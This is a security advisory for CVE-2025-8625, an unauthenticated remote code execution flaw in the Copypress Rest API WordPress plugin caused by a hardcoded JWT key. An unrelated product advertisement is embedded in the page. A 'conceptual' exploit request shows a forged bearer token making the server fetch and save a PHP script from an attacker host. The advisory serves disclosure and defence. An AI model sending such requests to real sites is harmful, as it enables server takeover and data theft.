Overview
CVE-2025-8625 is a critical vulnerability affecting the Copypress Rest API plugin versions 1.1 to 1.2 for WordPress. This vulnerability could potentially lead to unauthenticated remote code execution, posing a severe threat to any website using the affected versions of this plugin. It matters because the vulnerability can be used by malicious actors to gain elevated privileges and compromise the system, leading to potential data leakage.
Vulnerability Summary
CVE ID: CVE-2025-8625
Severity: Critical (CVSS score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Copypress Rest API for WordPress | 1.1 to 1.2
How the Exploit Works
The vulnerability lies in the copyreap_handle_image() function of the Copypress Rest API plugin for WordPress. When no secret key is defined, the plugin reverts to a hardcoded JWT signing key. This flaw, combined with the plugin’s failure to restrict fetchable file types, allows an attacker to forge a valid token, gain elevated privileges, and upload an arbitrary file, such as a PHP script. When executed, this script can lead to remote code execution, compromising the system.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited using an HTTP POST request:
POST /api/v1/handle_image HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer <forged JWT token>
{
"image_url": "http://attacker.com/malicious_script.php",
"image_name": "malicious_script.php"
}In the above example, the attacker sends a POST request to the target server with a forged JWT token in the Authorization header. The request includes a JSON payload with the URL of a malicious PHP script hosted on the attacker’s server (`image_url`) and the name under which to save it on the target server (`image_name`). If successful, the target server downloads and saves the malicious script, enabling remote code execution.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability.